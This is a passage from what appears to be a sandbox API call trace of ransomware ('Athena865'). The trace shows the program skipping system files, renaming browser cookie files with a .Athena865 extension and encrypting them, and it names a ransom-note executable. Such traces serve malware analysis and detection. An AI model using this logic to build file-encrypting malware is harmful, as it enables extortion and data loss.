lpString2="adp") returned 1 [0100.999] lstrlenW (lpString="alf") returned 3 [0100.999] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0100.999] lstrlenW (lpString="ask") returned 3 [0100.999] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0100.999] lstrlenW (lpString="btr") returned 3 [0100.999] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0100.999] lstrlenW (lpString="cat") returned 3 [0100.999] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0100.999] lstrlenW (lpString="cdb") returned 3 [0100.999] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0100.999] lstrlenW (lpString="ckp") returned 3 [0100.999] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0100.999] lstrlenW (lpString="cma") returned 3 [0100.999] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0100.999] lstrlenW (lpString="cpd") returned 3 [0100.999] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0100.999] lstrlenW (lpString="dacpac") returned 6 [0101.000] lstrcmpiW (lpString1="1].txt", lpString2="dacpac") returned -1 [0101.000] lstrlenW (lpString="dad") returned 3 [0101.000] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0101.000] lstrlenW (lpString="dadiagrams") returned 10 [0101.000] lstrcmpiW (lpString1="dsp[1].txt", lpString2="dadiagrams") returned 1 [0101.000] lstrlenW (lpString="daschema") returned 8 [0101.000] lstrcmpiW (lpString1="p[1].txt", lpString2="daschema") returned 1 [0101.000] lstrlenW (lpString="db-journal") returned 10 [0101.000] lstrcmpiW (lpString1="dsp[1].txt", lpString2="db-journal") returned 1 [0101.000] lstrlenW (lpString="db-shm") returned 6 [0101.000] lstrcmpiW (lpString1="1].txt", lpString2="db-shm") returned -1 [0101.000] lstrlenW (lpString="db-wal") returned 6 [0101.000] lstrcmpiW (lpString1="1].txt", lpString2="db-wal") returned -1 [0101.000] lstrlenW (lpString="dbc") returned 3 [0101.000] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0101.000] lstrlenW (lpString="dbs") returned 3 [0101.000] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0101.000] lstrlenW (lpString="dbt") returned 3 [0101.000] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0101.000] lstrlenW (lpString="dbv") returned 3 [0101.000] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0101.000] lstrlenW (lpString="dbx") returned 3 [0101.000] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0101.000] lstrlenW (lpString="dcb") returned 3 [0101.000] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0101.000] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.Athena865") returned 106 [0101.001] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.002] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.003] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=93) returned 1 [0101.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.003] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.004] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.004] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.004] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x360, lpName=0x0) returned 0x17c [0101.008] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x360) returned 0x100000 [0101.009] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.010] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.010] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x544058 [0101.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0101.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.011] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.011] CloseHandle (hObject=0x17c) returned 1 [0101.011] CloseHandle (hObject=0x154) returned 1 [0101.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.011] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf2a0770, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf7d5790, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7d5790, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adform[1].txt", cAlternateFileName="5P8600~1.TXT")) returned 1 [0101.011] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.011] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.011] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2=".") returned 1 [0101.011] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2="..") returned 1 [0101.011] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2="windows") returned -1 [0101.011] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2="bootmgr") returned -1 [0101.011] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2="temp") returned -1 [0101.011] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2="pagefile.sys") returned -1 [0101.011] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2="boot") returned -1 [0101.011] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2="ids.txt") returned -1 [0101.011] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2="ntuser.dat") returned -1 [0101.011] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2="perflogs") returned -1 [0101.011] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2="MSBuild") returned -1 [0101.011] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adform[1].txt") returned 34 [0101.012] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@adform[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt") returned="5p5nrgjn0js_halpmcxz@adform[1].txt" [0101.012] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adform[1].txt") returned 34 [0101.012] lstrlenW (lpString="Athena865") returned 9 [0101.012] lstrcmpiW (lpString1="rm[1].txt", lpString2="Athena865") returned 1 [0101.012] lstrlenW (lpString=".dll") returned 4 [0101.012] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2=".dll") returned 1 [0101.012] lstrlenW (lpString=".lnk") returned 4 [0101.012] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2=".lnk") returned 1 [0101.012] lstrlenW (lpString=".ini") returned 4 [0101.012] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2=".ini") returned 1 [0101.012] lstrlenW (lpString=".sys") returned 4 [0101.012] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2=".sys") returned 1 [0101.012] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adform[1].txt") returned 34 [0101.012] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt.Athena865") returned 103 [0101.012] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.013] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.014] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=234) returned 1 [0101.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.014] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.015] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.015] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.015] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x17c [0101.017] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000 [0101.018] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.019] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.019] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x544058 [0101.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0101.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.019] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.020] CloseHandle (hObject=0x17c) returned 1 [0101.020] CloseHandle (hObject=0x154) returned 1 [0101.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.020] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe5d5130, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0x45f08810, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45f08810, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adnxs[1].txt", cAlternateFileName="5P89EF~1.TXT")) returned 1 [0101.020] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.020] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.020] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2=".") returned 1 [0101.020] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2="..") returned 1 [0101.020] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2="windows") returned -1 [0101.020] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2="bootmgr") returned -1 [0101.020] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2="temp") returned -1 [0101.020] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2="pagefile.sys") returned -1 [0101.020] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2="boot") returned -1 [0101.020] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2="ids.txt") returned -1 [0101.020] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2="ntuser.dat") returned -1 [0101.020] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2="perflogs") returned -1 [0101.020] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2="MSBuild") returned -1 [0101.020] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adnxs[1].txt") returned 33 [0101.020] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@adnxs[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt") returned="5p5nrgjn0js_halpmcxz@adnxs[1].txt" [0101.020] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adnxs[1].txt") returned 33 [0101.020] lstrlenW (lpString="Athena865") returned 9 [0101.021] lstrcmpiW (lpString1="xs[1].txt", lpString2="Athena865") returned 1 [0101.021] lstrlenW (lpString=".dll") returned 4 [0101.021] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2=".dll") returned 1 [0101.021] lstrlenW (lpString=".lnk") returned 4 [0101.021] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2=".lnk") returned 1 [0101.021] lstrlenW (lpString=".ini") returned 4 [0101.021] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2=".ini") returned 1 [0101.021] lstrlenW (lpString=".sys") returned 4 [0101.021] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adnxs[1].txt", lpString2=".sys") returned 1 [0101.021] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adnxs[1].txt") returned 33 [0101.021] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.Athena865") returned 102 [0101.021] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.022] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.022] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=578) returned 1 [0101.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.023] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.024] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.024] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.024] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x550, lpName=0x0) returned 0x17c [0101.026] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x550) returned 0x100000 [0101.027] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.027] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.027] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x544058 [0101.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0101.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.028] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.028] CloseHandle (hObject=0x17c) returned 1 [0101.028] CloseHandle (hObject=0x154) returned 1 [0101.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.029] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52fcb4b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52fcb4b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adtech[2].txt", cAlternateFileName="5PC5B2~1.TXT")) returned 1 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2=".") returned 1 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2="..") returned 1 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2="windows") returned -1 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2="bootmgr") returned -1 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2="temp") returned -1 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2="pagefile.sys") returned -1 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2="boot") returned -1 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2="ids.txt") returned -1 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2="ntuser.dat") returned -1 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2="perflogs") returned -1 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2="MSBuild") returned -1 [0101.029] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adtech[2].txt") returned 34 [0101.029] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@adtech[2].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt") returned="5p5nrgjn0js_halpmcxz@adtech[2].txt" [0101.029] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adtech[2].txt") returned 34 [0101.029] lstrlenW (lpString="Athena865") returned 9 [0101.029] lstrcmpiW (lpString1="ch[2].txt", lpString2="Athena865") returned 1 [0101.029] lstrlenW (lpString=".dll") returned 4 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2=".dll") returned 1 [0101.029] lstrlenW (lpString=".lnk") returned 4 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2=".lnk") returned 1 [0101.029] lstrlenW (lpString=".ini") returned 4 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2=".ini") returned 1 [0101.029] lstrlenW (lpString=".sys") returned 4 [0101.029] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2=".sys") returned 1 [0101.030] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adtech[2].txt") returned 34 [0101.030] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.Athena865") returned 103 [0101.030] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.athena865"), dwFlags=0x1) returned 1 [0101.031] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.Athena865" (normalized: "c:\\documents and 